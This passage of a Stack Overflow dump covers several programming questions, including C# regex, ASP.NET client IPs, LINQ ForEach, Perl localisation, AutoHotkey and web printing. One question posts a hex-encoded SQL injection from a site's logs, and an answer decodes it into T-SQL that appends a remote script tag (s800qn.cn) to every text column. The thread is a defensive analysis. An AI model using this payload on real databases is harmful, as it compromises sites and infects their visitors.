"text": "string input = @\"<html>...some html content <b> etc </b> ...\n<user> hello <b>mitch</b> </user>\n...some html content <b> etc </b> ...\n<message> some html <i>message</i> <a href....>bla</a> </message>\n...some html content <b> etc </b> ...</html>\";\n\n HtmlDocument doc = new HtmlDocument();\n doc.LoadHtml(input);\n foreach (HtmlNode node in doc.DocumentNode.SelectNodes(\"//user | //message\"))\n {\n Console.WriteLine(\"{0}: {1}\", node.Name, node.InnerText);\n // or node.InnerHtml to keep the formatting within the content\n }\n user: hello mitch\nmessage: some html message bla\n string input = @\"blah <tag1> content for tag 1 </tag1> blop\n<tag2> content for tag 2 </tag2> bloop\n<tag3> content for tag 3 </tag3> blip\";\n\n const string pattern = @\"<(\\w+)>\\s*([^<>]*)\\s*</(\\1)>\";\n Console.WriteLine(Regex.IsMatch(input, pattern));\n foreach(Match match in Regex.Matches(input, pattern)) {\n Console.WriteLine(\"{0}: {1}\", match.Groups[1], match.Groups[2]);\n }\n"
},
{
"answer_id": 200551,
"author": "Zsolt Botykai",
"author_id": 11621,
"author_profile": "https://Stackoverflow.com/users/11621",
"pm_score": 1,
"selected": false,
"text": "/<([^>]+)>([^<]+)<\\/\\1>/\n"
},
{
"answer_id": 200553,
"author": "Tomalak",
"author_id": 18771,
"author_profile": "https://Stackoverflow.com/users/18771",
"pm_score": 3,
"selected": true,
"text": "<(tag1|tag2|tag3)>(.*?)</$1>\n <(?'name'tag1|tag2|tag3)>(?'value'.*?)</\\k'name'>.\n"
},
{
"answer_id": 200557,
"author": "david",
"author_id": 27600,
"author_profile": "https://Stackoverflow.com/users/27600",
"pm_score": 0,
"selected": false,
"text": "\n/<(?<name>[^>]+)>(?<value>[^<]+)</\\1>/\n"
},
{
"answer_id": 200571,
"author": "mitch",
"author_id": 27787,
"author_profile": "https://Stackoverflow.com/users/27787",
"pm_score": 1,
"selected": false,
"text": "...some html content <b> etc </b> ...\n<user> hello <b>mitch</b> </user>\n...some html content <b> etc </b> ...\n<message> some html <i>message</i> <a href....>bla</a> </message>\n...some html content <b> etc </b> ...\n"
},
{
"answer_id": 200703,
"author": "ICR",
"author_id": 214,
"author_profile": "https://Stackoverflow.com/users/214",
"pm_score": 1,
"selected": false,
"text": "Regex tagRegex = new Regex(@\"<\\s*(?<tag>\" + string.Join(\"|\", tags) + @\")[^>]*>(?<content>.*?)<\\s*/\\s*\\k<tag>\\s*>\", RegexOptions.IgnoreCase);\n string.Joing(\"|\", tags)\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200525",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27787/"
] |
200,527
|
<p>I collect statistics on IP addresses from where users visit my site and I have noticed what there are only two IP addresses presented, 172.16.16.1 and 172.16.16.248. The property I use to determine IP address is</p>
<pre><code>Request.UserHostAddress
</code></pre>
<p>What could be a reason of IP address information losing? All the users are from around the world, so they cann't be behind only two proxies.</p>
|
[
{
"answer_id": 200546,
"author": "Node",
"author_id": 7190,
"author_profile": "https://Stackoverflow.com/users/7190",
"pm_score": 1,
"selected": false,
"text": "Request.ServerVariables(\"REMOTE_ADDR\") \n"
},
{
"answer_id": 200661,
"author": "Dave Anderson",
"author_id": 371,
"author_profile": "https://Stackoverflow.com/users/371",
"pm_score": 5,
"selected": false,
"text": "string SourceIP = String.IsNullOrEmpty(Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"]) ? Request.ServerVariables[\"REMOTE_ADDR\"] : Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"].Split(\",\")[0];\n"
},
{
"answer_id": 1079415,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<script language=\"javascript\" type=\"text/javascript\"> \n\nif (navigator.appName.indexOf(\"Netscape\") != -1){\nip = \"\" + java.net.InetAddress.getLocalHost().getHostAddress();\ndocument.write(\"<b>Your IP address is \" + ip+'</b>');\n}\nelse {\ndocument.write(\"<b>IP Address only shown in Netscape with Java enabled!</b>\");\n}\n\n</script>\n"
},
{
"answer_id": 13157546,
"author": "tomfanning",
"author_id": 17971,
"author_profile": "https://Stackoverflow.com/users/17971",
"pm_score": 3,
"selected": false,
"text": "string forwardedFor = Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"];\n\nstring ipStr = string.IsNullOrWhiteSpace(forwardedFor) \n ? Request.ServerVariables[\"REMOTE_ADDR\"] \n : forwardedFor.Split(',').Select(s => s.Trim()).First();\n"
},
{
"answer_id": 38729191,
"author": "Mattias Lundblad",
"author_id": 5007052,
"author_profile": "https://Stackoverflow.com/users/5007052",
"pm_score": 0,
"selected": false,
"text": " public static string ClientIp(this HttpRequestBase @this) {\n var clientIp = string.Empty;\n string forwardedFor = @this.ServerVariables[\"HTTP_X_FORWARDED_FOR\"];\n\n if (string.IsNullOrWhiteSpace(forwardedFor)) {\n clientIp = @this.ServerVariables[\"REMOTE_ADDR\"];\n } else {\n\n var array = forwardedFor\n .Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries)\n .Select(s => s.Trim());\n\n foreach (var element in array) {\n if (element.IsValidIp4() || element.IsValidIp6()) {\n clientIp = element;\n break;\n }\n }\n }\n return clientIp;\n}\n\npublic static bool IsValidIp4(this string @this) {\n var pattern = new Regex(@\"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$\");\n return pattern.IsMatch(@this);\n}\n\npublic static bool IsValidIp6(this string @this) {\n var pattern = new Regex(@\"^s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:)))(%.+)?s*(\\/(d|dd|1[0-1]d|12[0-8]))$\");\n return pattern.IsMatch(@this);\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200527",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11256/"
] |
200,545
|
<p>I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no <em>successful</em> attacks, but a recent log showed an interesting technique:</p>
<p><em>Line breaks added for clarity</em></p>
<pre>
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
686172283430303029204445434C415245205461626C655F437572736F7220435552534F
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528
404046455443485F5354415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="
</pre>
<p>Can anyone shed light on what the "CAST and EXEC" is attempting to do?</p>
|
[
{
"answer_id": 200548,
"author": "Ishmaeel",
"author_id": 227,
"author_profile": "https://Stackoverflow.com/users/227",
"pm_score": 6,
"selected": true,
"text": "DECLARE @T varchar(255),\n @C varchar(4000) \n\nDECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name\nFROM sysobjects a,syscolumns b \nWHERE a.id=b.id \nAND a.xtype='u' \nAND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) \n\nOPEN Table_Cursor FETCH NEXT \nFROM Table_Cursor INTO @T,@C \nWHILE(@@FETCH_STATUS=0) \n BEGIN exec('update ['+@T+'] SET ['+@C+']=''\"></title><script src=\"http://www2.s800qn.cn/csrss/w.js\"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%\"></title><script src=\"http://www2.s800qn.cn/csrss/w.js\"></script><!--''')\n FETCH NEXT FROM Table_Cursor INTO @T,@C \nEND CLOSE Table_Cursor \n\nDEALLOCATE Table_Cursor\n"
},
{
"answer_id": 200558,
"author": "DzinX",
"author_id": 18745,
"author_profile": "https://Stackoverflow.com/users/18745",
"pm_score": 4,
"selected": false,
"text": "http://www2.s800qn.cn/csrss/w.js"
},
{
"answer_id": 200559,
"author": "jammus",
"author_id": 984,
"author_profile": "https://Stackoverflow.com/users/984",
"pm_score": 3,
"selected": false,
"text": "<script>"
},
{
"answer_id": 200563,
"author": "DzinX",
"author_id": 18745,
"author_profile": "https://Stackoverflow.com/users/18745",
"pm_score": 1,
"selected": false,
"text": "text = \"4445434C415245204054207661726368617228323535292C404...\"\n\ndef getText():\n for i in range(0, len(text), 2):\n byte = text[i:i+2]\n char = int(byte, 16)\n toPrint = chr(char)\n yield toPrint\n\nprint ''.join(getText())\n"
},
{
"answer_id": 200567,
"author": "Tometzky",
"author_id": 15862,
"author_profile": "https://Stackoverflow.com/users/15862",
"pm_score": 3,
"selected": false,
"text": "select CAST(0x44...72 AS CHAR(4000)) as a;\n"
},
{
"answer_id": 200572,
"author": "Oli",
"author_id": 12870,
"author_profile": "https://Stackoverflow.com/users/12870",
"pm_score": 2,
"selected": false,
"text": "<script>"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200545",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/993/"
] |
200,550
|
<p>I was just wondering what (if any) the difference was between the following two message traps in MFC for the function, OnSize(..).</p>
<h1>1 - Via Message map:</h1>
<pre><code>BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd)
...
ON_WM_SIZE()
..
END_MESSAGE_MAP()
</code></pre>
<h1>2 - Via afx_message:</h1>
<pre><code>afx_msg type OnSize(...);
</code></pre>
<p>They seem to be used interchangeably, which one should be used or does it depend on other factors?</p>
|
[
{
"answer_id": 200645,
"author": "ChrisN",
"author_id": 3853,
"author_profile": "https://Stackoverflow.com/users/3853",
"pm_score": 5,
"selected": true,
"text": "OnSize class CClassWnd : public CBaseClassWnd {\n ...\n afx_msg void OnSize(UINT nType, int cx, int cy);\n DECLARE_MESSAGE_MAP\n};\n afx_msg BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd)\n ON_WM_SIZE()\nEND_MESSAGE_MAP()\n ON_WM_SIZE wParam lParam WM_SIZE nType cx cy WM_LBUTTONDOWN WM_DESTROY"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200550",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18664/"
] |
200,574
|
<p>I'd like to do the equivalent of the following in LINQ, but I can't figure out how:</p>
<pre><code>IEnumerable<Item> items = GetItems();
items.ForEach(i => i.DoStuff());
</code></pre>
<p>What is the real syntax?</p>
|
[
{
"answer_id": 200584,
"author": "Fredrik Kalseth",
"author_id": 1710,
"author_profile": "https://Stackoverflow.com/users/1710",
"pm_score": 11,
"selected": true,
"text": "IEnumerable List<T> items.ToList().ForEach(i => i.DoStuff());\n public static void ForEach<T>(this IEnumerable<T> enumeration, Action<T> action)\n{\n foreach(T item in enumeration)\n {\n action(item);\n }\n}\n"
},
{
"answer_id": 1107460,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": " public class Element {}\n\n public Enum ProcessType\n {\n This = 0, That = 1, SomethingElse = 2\n }\n\n public class Class1\n {\n private Dictionary<ProcessType, Action<Element>> actions = \n new Dictionary<ProcessType,Action<Element>>();\n\n public Class1()\n {\n actions.Add( ProcessType.This, DoThis );\n actions.Add( ProcessType.That, DoThat );\n actions.Add( ProcessType.SomethingElse, DoSomethingElse );\n }\n\n // Element actions:\n\n // This example defines 3 distict actions\n // that can be applied to individual elements,\n // But for the sake of the argument, make\n // no assumption about how many distict\n // actions there may, and that there could\n // possibly be many more.\n\n public void DoThis( Element element )\n {\n // Do something to element\n }\n\n public void DoThat( Element element )\n {\n // Do something to element\n }\n\n public void DoSomethingElse( Element element )\n {\n // Do something to element\n }\n\n public void Apply( ProcessType processType, IEnumerable<Element> elements )\n {\n Action<Element> action = null;\n if( ! actions.TryGetValue( processType, out action ) )\n throw new ArgumentException(\"processType\");\n foreach( element in elements ) \n action(element);\n }\n }\n"
},
{
"answer_id": 2956199,
"author": "Dor Rotman",
"author_id": 78256,
"author_profile": "https://Stackoverflow.com/users/78256",
"pm_score": 5,
"selected": false,
"text": "public static IEnumerable<T> ForEach<T>(this IEnumerable<T> enumeration, Action<T> action)\n{\n foreach (T item in enumeration)\n {\n action(item);\n yield return item;\n }\n}\n [Test]\npublic void TestDefferedExecutionOfIEnumerableForEach()\n{\n IEnumerable<char> enumerable = new[] {'a', 'b', 'c'};\n\n var sb = new StringBuilder();\n\n enumerable\n .ForEach(c => sb.Append(\"1\"))\n .ForEach(c => sb.Append(\"2\"))\n .ToList();\n\n Assert.That(sb.ToString(), Is.EqualTo(\"121212\"));\n}\n"
},
{
"answer_id": 3273626,
"author": "neil martin ",
"author_id": 394898,
"author_profile": "https://Stackoverflow.com/users/394898",
"pm_score": -1,
"selected": false,
"text": "ForEach public static IList<AddressEntry> MapToDomain(IList<AddressModel> addresses)\n{\n var workingAddresses = new List<AddressEntry>();\n\n addresses.Select(a => a).ToList().ForEach(a => workingAddresses.Add(AddressModelMapper.MapToDomain(a)));\n\n return workingAddresses;\n}\n"
},
{
"answer_id": 3606593,
"author": "Tormod",
"author_id": 80577,
"author_profile": "https://Stackoverflow.com/users/80577",
"pm_score": 3,
"selected": false,
"text": "SomeEnumerable.ForEach(item=>DataStore.Synchronize(item));"
},
{
"answer_id": 3864513,
"author": "Rhames",
"author_id": 466923,
"author_profile": "https://Stackoverflow.com/users/466923",
"pm_score": 5,
"selected": false,
"text": "FirstOrDefault() IEnumerable<T> false ToList() IEnumerable<Item> items = GetItems();\nitems.FirstOrDefault(i => { i.DoStuff(); return false; });\n"
},
{
"answer_id": 6216510,
"author": "Paulustrious",
"author_id": 393989,
"author_profile": "https://Stackoverflow.com/users/393989",
"pm_score": 2,
"selected": false,
"text": " ParallelOptions parallelOptions = new ParallelOptions();\n parallelOptions.MaxDegreeOfParallelism = 4;\n#if DEBUG\n parallelOptions.MaxDegreeOfParallelism = 1;\n#endif\n Parallel.ForEach(bookIdList, parallelOptions, bookID => UpdateStockCount(bookID));\n"
},
{
"answer_id": 7067201,
"author": "John Wigger",
"author_id": 280648,
"author_profile": "https://Stackoverflow.com/users/280648",
"pm_score": 4,
"selected": false,
"text": "int[] numbers = { 1, 2, 3, 4, 5, 6, 7, 8 };\n\nnumbers.ForEach(x => Console.WriteLine(x*x));\n"
},
{
"answer_id": 7275403,
"author": "drstevens",
"author_id": 120673,
"author_profile": "https://Stackoverflow.com/users/120673",
"pm_score": 5,
"selected": false,
"text": "foreach foreach public static class Enumerables\n{\n public static void ForEach<T>(this IEnumerable<T> @this, Action<T> action)\n {\n foreach (T item in @this)\n {\n action(item);\n }\n }\n}\n [Test]\npublic void ForEachExtensionWin()\n{\n //Yes, I know there is an Observable.Range.\n var values = Enumerable.Range(0, 10);\n\n var observable = Observable.Create<Func<int>>(source =>\n {\n values.ForEach(value => \n source.OnNext(() => value));\n\n source.OnCompleted();\n return () => { };\n });\n\n //Simulate subscribing and evaluating Funcs\n var evaluatedObservable = observable.ToEnumerable().Select(func => func()).ToList();\n\n //Win\n Assert.That(evaluatedObservable, \n Is.EquivalentTo(values.ToList()));\n}\n [Test]\npublic void ForEachKeywordFail()\n{\n //Yes, I know there is an Observable.Range.\n var values = Enumerable.Range(0, 10);\n\n var observable = Observable.Create<Func<int>>(source =>\n {\n foreach (var value in values)\n {\n //If you have resharper, notice the warning\n source.OnNext(() => value);\n }\n source.OnCompleted();\n return () => { };\n });\n\n //Simulate subscribing and evaluating Funcs\n var evaluatedObservable = observable.ToEnumerable().Select(func => func()).ToList();\n\n //Fail\n Assert.That(evaluatedObservable, \n Is.EquivalentTo(values.ToList()));\n}\n"
},
{
"answer_id": 11303108,
"author": "Zar Shardan",
"author_id": 913845,
"author_profile": "https://Stackoverflow.com/users/913845",
"pm_score": 2,
"selected": false,
"text": "var b = srcDictionary.Select(\n x=>\n {\n destDictionary[x.Key] = x.Value;\n return true;\n }\n ).Count();\n"
},
{
"answer_id": 11387334,
"author": "Nenad",
"author_id": 186822,
"author_profile": "https://Stackoverflow.com/users/186822",
"pm_score": 3,
"selected": false,
"text": "IEnumerable<Item> items = GetItems();\nforeach (var item in items) item.DoStuff();\n"
},
{
"answer_id": 14047306,
"author": "cdiggins",
"author_id": 184528,
"author_profile": "https://Stackoverflow.com/users/184528",
"pm_score": 5,
"selected": false,
"text": "IEnumerable foreach foreach (var i in items) i.DoStuff();\n Aggregate items.Aggregate(initial, (acc, x) => ComputeAccumulatedValue(acc, x));\n IEnumerable items.Select(x => Transform(x));\n items.ToLookup(x, x => GetTheKey(x))\n"
},
{
"answer_id": 15418734,
"author": "Israel Margulies",
"author_id": 1346806,
"author_profile": "https://Stackoverflow.com/users/1346806",
"pm_score": 0,
"selected": false,
"text": "listVariable.ForEach(Sub(i) i.Property = \"Value\")\n"
},
{
"answer_id": 20938738,
"author": "Mark Seemann",
"author_id": 126014,
"author_profile": "https://Stackoverflow.com/users/126014",
"pm_score": 2,
"selected": false,
"text": "System using System.Reactive.Linq;\n\nitems.ToObservable().Subscribe(i => i.DoStuff());\n"
},
{
"answer_id": 25777096,
"author": "Scott Nimrod",
"author_id": 492701,
"author_profile": "https://Stackoverflow.com/users/492701",
"pm_score": 2,
"selected": false,
"text": "public static void Execute<TSource, TKey>(this IEnumerable<TSource> source, Action<TKey> applyBehavior, Func<TSource, TKey> keySelector)\n{\n foreach (var item in source)\n {\n var target = keySelector(item);\n applyBehavior(target);\n }\n}\n var jobs = new List<Job>() \n { \n new Job { Id = \"XAML Developer\" }, \n new Job { Id = \"Assassin\" }, \n new Job { Id = \"Narco Trafficker\" }\n };\n\njobs.Execute(ApplyFilter, j => j.Id);\n public void ApplyFilter(string filterId)\n {\n Debug.WriteLine(filterId);\n }\n"
},
{
"answer_id": 28683827,
"author": "Rm558",
"author_id": 2055187,
"author_profile": "https://Stackoverflow.com/users/2055187",
"pm_score": 2,
"selected": false,
"text": "Employees.ForEach(e=>e.Act_A)\n .ForEach(e=>e.Act_B)\n .ForEach(e=>e.Act_C);\n\nOrders //just for demo\n .ForEach(o=> o.EmailBuyer() )\n .ForEach(o=> o.ProcessBilling() )\n .ForEach(o=> o.ProcessShipping());\n\n\n//conditional\nEmployees\n .ForEach(e=> { if(e.Salary<1000) e.Raise(0.10);})\n .ForEach(e=> { if(e.Age >70 ) e.Retire();});\n public static IEnumerable<T> ForEach<T>(this IEnumerable<T> enu, Action<T> action)\n{\n foreach (T item in enu) action(item);\n return enu; // make action Chainable/Fluent\n}\n public static IEnumerable<T> ForEachLazy<T>(this IEnumerable<T> enu, Action<T> action)\n{\n foreach (var item in enu)\n {\n action(item);\n yield return item;\n }\n}\n IQueryable<Product> query = Products.Where(...);\nquery.ForEachLazy(t => t.Price = t.Price + 1.00)\n .ToList(); //without this line, below SubmitChanges() does nothing.\nSubmitChanges();\n"
},
{
"answer_id": 31750549,
"author": "regisbsb",
"author_id": 434919,
"author_profile": "https://Stackoverflow.com/users/434919",
"pm_score": 4,
"selected": false,
"text": "public static class EnumerableExtensions\n{\n public static IEnumerable<T> ForEach<T>(this IEnumerable<T> enumeration, Action<T> action)\n {\n foreach (var item in enumeration)\n {\n action(item);\n yield return item;\n }\n }\n}\n"
},
{
"answer_id": 33323514,
"author": "Wolf5",
"author_id": 37643,
"author_profile": "https://Stackoverflow.com/users/37643",
"pm_score": 3,
"selected": false,
"text": "IEnumerable<T>.AsParallel().ForAll() \n"
},
{
"answer_id": 52887330,
"author": "solublefish",
"author_id": 251199,
"author_profile": "https://Stackoverflow.com/users/251199",
"pm_score": 2,
"selected": false,
"text": "IEnumerable<T>.ForEach ForEach"
},
{
"answer_id": 54931308,
"author": "CSDev",
"author_id": 10958092,
"author_profile": "https://Stackoverflow.com/users/10958092",
"pm_score": 1,
"selected": false,
"text": "GetItems()\n .Select(i => new Action(i.DoStuf)))\n .Aggregate((a, b) => a + b)\n .Invoke();\n"
},
{
"answer_id": 62663221,
"author": "l33t",
"author_id": 419761,
"author_profile": "https://Stackoverflow.com/users/419761",
"pm_score": 4,
"selected": false,
"text": "ForEach .NET Framework 4.7.2 .NET Core 3.1.401 Release Any CPU public static class Enumerables\n{\n public static void ForEach<T>(this IEnumerable<T> @this, Action<T> action)\n {\n foreach (T item in @this)\n {\n action(item);\n }\n }\n}\n\nclass Program\n{\n private static void NoOp(int value) {}\n\n static void Main(string[] args)\n {\n var list = Enumerable.Range(0, 10).ToList();\n for (int i = 0; i < 1000000; i++)\n {\n // WithLinq(list);\n // WithoutLinqNoGood(list);\n WithoutLinq(list);\n }\n }\n\n private static void WithoutLinq(List<int> list)\n {\n foreach (var item in list)\n {\n NoOp(item);\n }\n }\n\n private static void WithLinq(IEnumerable<int> list) => list.ForEach(NoOp);\n\n private static void WithoutLinqNoGood(IEnumerable<int> enumerable)\n {\n foreach (var item in enumerable)\n {\n NoOp(item);\n }\n }\n}\n ForEach ForEach foreach ForEach foreach ForEach WithoutLinqNoGood IEnumerable<int> List<int> IL IL_0001: callvirt instance class\n [mscorlib]System.Collections.Generic.IEnumerator`1<!0> \n class [mscorlib]System.Collections.Generic.IEnumerable`1<!!T>::GetEnumerator()\n IL_0001: callvirt instance valuetype\n [mscorlib]System.Collections.Generic.List`1/Enumerator<!0>\n class [mscorlib]System.Collections.Generic.List`1<int32>::GetEnumerator()\n ForEach() IEnumerable<T> .NET Core 3.1.401 Visual Studio 16.7.2"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200574",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/192/"
] |
200,576
|
<p>I have a J2EE based web application.</p>
<p>In one of the pages there is a button labeled "Print". </p>
<p>My problem is something like this: </p>
<p>User enters tool names for e.g:
ToolName1
ToolName2
ToolName3 </p>
<p>Then clicks on "Print". </p>
<p>The intended action is that tool details of the 3 tools are retrieved from db and then printed one tool per page. (i.e On clicking this button some processing should take place in the background db retrieval before sending the details to the printer...)</p>
<p>Please suggest how best this task of printing the web page could be done.</p>
<p>Hope the problem is clear.</p>
<p>Thanks in advance...:)</p>
|
[
{
"answer_id": 200591,
"author": "Nick Pierpoint",
"author_id": 4003,
"author_profile": "https://Stackoverflow.com/users/4003",
"pm_score": 2,
"selected": false,
"text": "<script>\n function printPage() {\n window.print(); \n }\n</script>\n <form>\n<input TYPE=\"button\" onClick=\"printPage()\">\n</form>\n <input TYPE=\"button\" onClick=\"window.print()\">\n <style>\n div.tool {\n page-break-before: always\n }\n</style>\n\n<div class=\"tool\" id=\"tool1\">\n...\n</div>\n<div class=\"tool\" id=\"tool2\">\n...\n</div>\n"
},
{
"answer_id": 200605,
"author": "Guido",
"author_id": 12388,
"author_profile": "https://Stackoverflow.com/users/12388",
"pm_score": 2,
"selected": false,
"text": "window.print(); <link rel=\"stylesheet\" type=\"text/css\" media=\"print\" href=\"print.css\" />\n"
},
{
"answer_id": 4098392,
"author": "nickd",
"author_id": 2373,
"author_profile": "https://Stackoverflow.com/users/2373",
"pm_score": 3,
"selected": true,
"text": "window.print()"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200576",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23414/"
] |
200,578
|
<p>I have some auto-generated code which effectively writes out the following in a bunch of different places in some code:</p>
<pre><code>no warnings 'uninitialized';
local %ENV = %ENV;
local $/ = $/;
local @INC = @INC;
local %INC = %INC;
local $_ = $_;
local $| = $|;
local %SIG = %SIG;
use warnings 'uninitialized';
</code></pre>
<p>When auto-generating code, some argue that it's not strictly necessary that the code be "beautiful", but I'd like to pull that out into a subroutine. However, that would localize those variables in that subroutine. Is there a way to localize those variables in the calling stack frame?</p>
<p><strong>Update</strong>: In a similar vein, it would be nice to be able to run eval in a higher stack frame. I think Python already has this. It would be nice if Perl did, too.</p>
|
[
{
"answer_id": 200944,
"author": "Adam Bellaire",
"author_id": 21632,
"author_profile": "https://Stackoverflow.com/users/21632",
"pm_score": 3,
"selected": false,
"text": "local caller() local"
},
{
"answer_id": 201243,
"author": "hexten",
"author_id": 10032,
"author_profile": "https://Stackoverflow.com/users/10032",
"pm_score": 6,
"selected": true,
"text": "sub run_with_env {\n my ($sub, @args) = @_;\n no warnings 'uninitialized';\n local %ENV = %ENV;\n local $/ = $/;\n local @INC = @INC;\n local %INC = %INC;\n local $_ = $_;\n local $| = $|;\n local %SIG = %SIG;\n use warnings 'uninitialized'; \n $sub->(@args);\n}\n\nrun_with_env(sub {\n # do stuff here\n});\n\nrun_with_env(sub {\n # do different stuff here\n});\n"
},
{
"answer_id": 203474,
"author": "Peter Scott",
"author_id": 28086,
"author_profile": "https://Stackoverflow.com/users/28086",
"pm_score": 2,
"selected": false,
"text": " The \"Alias\" module implements localization of the basic types within\n the caller's scope. People who are interested in how to localize\n things in the containing scope should take a look there too.\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200578",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8003/"
] |
200,587
|
<p>I'm trying to set up <a href="http://www.autohotkey.com/" rel="nofollow noreferrer">AutoHotkey</a> macros for some common tasks, and I want the hotkeys to mimic Visual Studio's "two-step shortcut" behaviour - i.e. pressing <kbd>Ctrl</kbd>-<kbd>K</kbd> will enable "macro mode"; within macro mode, pressing certain keys will run a macro and then disable 'macro mode', and any other key will just disable macro mode.</p>
<p>Example - when typing a filename, I want to be able to insert today's date by tapping <kbd>Ctrl</kbd>-<kbd>K</kbd>, then pressing <kbd>D</kbd>.</p>
<p>Does anyone have a good example of a stateful AutoHotkey script that behaves like this?</p>
|
[
{
"answer_id": 201981,
"author": "Andres",
"author_id": 1815,
"author_profile": "https://Stackoverflow.com/users/1815",
"pm_score": 4,
"selected": true,
"text": "^k::\nInput Key, L1\nFormatTime, Time, , yyyy-MM-dd\nif Key = d\n Send %Time%\nreturn\n"
},
{
"answer_id": 204058,
"author": "Dylan Beattie",
"author_id": 5017,
"author_profile": "https://Stackoverflow.com/users/5017",
"pm_score": 3,
"selected": false,
"text": "; Capture Ctrl+Left Windows Key\n^LWin::\n\n; Show traytip including shortcut keys\nTrayTip, Ctrl-Win pressed - waiting for second key..., t: current time`nd: current date, 1, 1\n\n; Capture next string input (i.e. next key)\nInput, Key, L1\n\n; Call TrayTip with no arguments to remove currently-visible traytip\nTrayTip\n\nif Key = d\n{\n FormatTime, Date, , yyyyMMdd\n SendInput %Date%\n} \nelse if Key = t \n{\n FormatTime, Time, , hhmmss\n SendInput %Time%\n} \nreturn\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200587",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5017/"
] |
200,599
|
<p>I am programming a website in which users will have a number of settings, such as their choice of colour scheme, etc. I'm happy to store these as plain text files, and security is not an issue.</p>
<p>The way I currently see it is: there is a dictionary, where all the keys are users and the values are dictionaries with the users' settings in them.</p>
<p>For example, userdb["bob"]["colour_scheme"] would have the value "blue".</p>
<p>What is the best way to store it on file? Pickling the dictionary?</p>
<p>Are there better ways of doing what I am trying to do?</p>
|
[
{
"answer_id": 200621,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
